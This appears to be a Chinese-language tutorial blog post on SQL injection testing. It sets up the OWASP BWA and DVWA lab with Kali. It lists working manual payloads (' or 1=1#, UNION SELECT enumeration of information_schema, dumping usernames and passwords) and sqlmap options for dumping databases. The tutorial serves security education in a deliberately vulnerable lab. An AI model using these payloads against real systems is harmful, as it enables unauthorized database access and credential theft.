安全测试之sql注入

安全测试之sql注入,第1张

目录 1. 概述1.1 web安全渗透测试分类web数据库安全(sql注入漏洞)web应用服务器安全(文件上传漏洞,文件包含漏洞)web客户端安全(XSS跨站攻击) 1.2 sql注入原理1.3 sql注入危害1.4 sql注入实现方式手动实现sql注入工具自动实现sql注入 2. 安全渗透环境搭建3. 实 *** 3.1 预备知识 *** 作数据库 *** 作表基本语句-查询UNION语句特殊库sql注释sql注入流程 3.2 手动注入环境准备查找注入点逻辑或应用案例字段数限制 3.3 自动注入工具搭建环境sqlmap基本用法案例

1. 概述 1.1 web安全渗透测试分类 web数据库安全(sql注入漏洞) web应用服务器安全(文件上传漏洞,文件包含漏洞) web客户端安全(XSS跨站攻击) 1.2 sql注入原理

sql注入介绍

sql注入在安全问题中排行榜首

sql注入攻击是输入参数未经过滤,直接拼接到SQL语句中解析

sql注入是一种将SQL代码添加到输入参数中,传递到服务器解析并执行的一种攻击手法

原理

攻击者在页面提交恶意字符/代码服务器未对提交参数进行过滤或过滤不足攻击者利用拼接sql语句方式获取数据库敏感信息
# 通过sql注入的方式,可以得到user表中所有信息
select * from user where id = " or 1=1 --
1.3 sql注入危害 获取web网站数据库,数据泄露用户数据被非法买卖危害web应用安全 1.4 sql注入实现方式 手动实现sql注入

查找:注入点

输入:sql常用注入组合语法,进行注入

工具自动实现sql注入

工具:扫描注入点

输入:自动尝试各种组合语法

2. 安全渗透环境搭建 VMware虚拟机软件靶机:安装了很多已知漏洞的web应用程序,学习sql注入项目环境

靶机:https://sourceforge.net/projects/owaspbwa/files/1.2/,下载结束后解压,vmware中打开虚拟机,选择.vmx后缀的文件,虚拟环境安装结束后,用初始用户名密码登录,找到系统提供的登录地址,在浏览器中输入IP即可访问



3. 渗透机-kali,包含数百种工具(比如自动注入工具),可用于各种信息安全任务,例如渗透测试,安全研究

kali:https://www.kali.org/get-kali/#kali-virtual-machines

下载完成以后,解压,在vmware中,文件–扫描虚拟机–选择解压缩的文件夹,会自动定位到kali系统(.vmx文件),完成以后开启虚拟机

3. 实 ***

进入靶机,输入以下命令进入mysql环境

mysql -uroot -powaspbwa

3.1 预备知识

所有sql语句写完都必须加上;否则不会成功执行

*** 作数据库
# 查看所有数据库
show databases;

# 使用库(use 库名;)
use dvwa;

# 查看默认库/查看当前在哪个库下
select database();

*** 作表
# 查看当前库中的所有表
show tables;

# 查看表结构
desc 表名;

# 查看创建表的sql语句(\G表示字段以行的方式显示,不仅是这条语句可以在末尾使用\G,select也可以使用\G)
show create table users\G;

# 查看当前登录数据库的用户是哪个
select user();
基本语句-查询
# 查询所有字段
select * from users;

# 查询指定字段
select user,password from users;

# 条件查询
select * from users where user='admin'# 逻辑与
select * from users where user='admin' and user_id= 6# 逻辑或
select * from users where user='adminn' or user_id= 5
UNION语句

sql注入漏洞的重点使用方式;将2条sql语句联合起来查询

sql1 union sql2两条sql语句查询字段数必须相同(如果字段数不同,则执行失败)
# union
select user, password from mysql.user;
union
select user, password from dvwa.users;
解决方法:使用数字代替列,猜测前面表的查询列数

sql注入漏洞,就是通过拼接union后语句实现获取数据库隐私信息

特殊库

介绍

库名:information_schema

作用:存储了mysql中所有库名、表名、列名,是mysql数据的字典(有点类似windows系统中的注册表)

应用:sql注入经常从此库中获取需要的库名、表名、字段名

关注:tables表记录了mysql库中所有的表(表名对应的库名);columns表记录了mysql库中所有表和列

*** 作

# 查看表
select * from information_schema.TABLES\G;
select * from information_schema.COLUMNS\G;

# 关注字段
# 数据库名
TABLE_SCHEMA
# 表名
TABLE_NAME
# 列名
COLUMN_NAME
# show databases 效果在特殊库.TABLES表中如何获取?(一个库有许多表,所以需要去重)
select DISTINCT TABLE_SCHEMA from information_schema.TABLES\G;

# show tables 效果在特殊库.TABLES表中如何获取?
select TABLE_NAME from information_schema.TABLES\G where TABLE_SCHEMA='dvwa';
sql注释

说明:注释语句不会被执行,在sql注入中可以将查询条件注释掉

#单行注释
#语法1(#文字)
select * from users; #查询users表所有信息
#语法2(-- 文字),必须有个空格
select * from users; -- 查询users表所有信息

#多行注释(也可以作为单行注释来使用)
/*这是多行注释*/

使用sql注释获取用户名和密码

# $会自动拼接对应的字符串
select * from user where username=$user and password=$pwd

# $user=admin#  $pwd=123

# 上面的sql相当于下面这个,等价于不需要判断密码了
select * from user where username=admin# and password=123
sql注入流程 收集项目信息( *** 作系统、数据库类型、web服务器类型)查找注入点(单引号、井号、转义符)注入sql语句(#或者union)获取数据库信息破解数据库管理员账号密码开始用sql-shell等工具登录并获取数据 3.2 手动注入 环境准备

说明:通过靶机web应用程序,联系手动注入

步骤:

启动靶机虚拟机通过浏览器访问靶机选择Damn Vulnerable Web Application访问Owasp-dvwa项目(用户名密码都是admin)选中sql注入应用程序(SQL Injection) 查找注入点

说明:主要采用单引号、转义字符\、以单引号为主

提交用户信息或id=处使用单引号测试

原理

# 后台程序sql语句
select first_name, last_name from users where user_id='$id';

# 输入单引号',相当于将sql语句闭合,后面就可以附加其他逻辑条件了
select first_name, last_name from users where user_id=''';
逻辑或应用

说明:使用逻辑或来获取当前表所有信息

目的:获取当前表所有信息(通过以下输入方式只能获取用户名,结合union可以获取密码)

输入:’ or 1=1#

​ '闭合前面条件

​ #注释后面单引号

案例

需求:获取users表中所有用户名和密码

方案:使用union联合查询所有用户表语句

步骤:

猜测字段数获取数据库名获取数据库下所有的表获取表中所有数据

猜测字段数

# 第一次猜测
union select 1#

# 第二次猜测
union select 1,2#

# 直到不报语法错误,确认结果有几个字段

获取数据库、表、列

# 获取当前数据库名
ID: ' union select 1, database()#

# 获取表
' union select table_name,1 from information_schema.tables where TABLE_SCHEMA='dvwa'#

# 获取列
' union select column_name,1 from information_schema.columns where TABLE_NAME='users'#



获取数据

# 获取单个字段数据
' union select user,1 from users#

# 获取2个字段
' union select user,password from users#

字段数限制

问题:后台sql默认查询字段数限制,注入时只能获取相同字段的数据

思路:使用concat函数(拼接多个字符串为一个字符串),concat(str1,str2,…)

# 获取users表中user_id,user,password,分为两列显示
select user_id, concat(user,password) from dvwa.users;

# 以上查询出来的结果user和password连在一起显示不清晰,所以需要在中间加空格
select user_id, concat('user:',user,' password:',password) from dvwa.users;

# 获取多个字段
' union select user,concat(first_name, ' ', last_name, ' ', password) from users#

3.3 自动注入

利用工具代替人工去完成sql注入 *** 作

工具 sqlmap一个开源渗透测试工具自动检测和利用sql注入漏洞并接管数据库服务器 搭建环境

http://sqlmap.org(需要自己下载,不用)

启动kali虚拟机(渗透机kali自带sqlmap工具(使用))

终端命令:sqlmap -h

sqlmap基本用法

命令:sqlmap 参数

参数:

# 扫描的url
-u

# 自动处理提示信息即提示选项使用默认值(仅加以上2个参数,仍然会存在扫描url被重定向到登录请求的问题)
--batch

# 附加cookie参数(解决以上参数没有解决的登录的重定向问题,F12调试可以找到cookie,复制)
--cookie

案例:

目标:使用sqlmap对OWAP应用注入获取users表中所有用户名和密码

环境:启动靶机、启动渗透机、url(http://靶机ip/dvwa/vulnerabilities/sqli/?id=6&Submit=Submit#)

步骤:

扫描注入点(把靶机中的url复制到渗透机的终端中,作为url参数执行)获取数据库名获取表名获取字段名获取数据 案例
# sqlmap获取库名
# 查询当前web使用的数据库名
--current-db
# 指定数据库
-D

# sqlmap获取表
# 查询指定库下所有表名(需要先用-D指定库名)
--tables
# 指定表(使用表时需要用-T指定)
-T

# sqlmap获取列/字段
# 查询指定表下所有字段
--columns
# 指定字段名
-C

# sqlmap获取数据
# 下载数据
--dump

欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/yw/926744.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-05-16
下一篇 2022-05-16

发表评论

登录后才能评论

评论列表(0条)

保存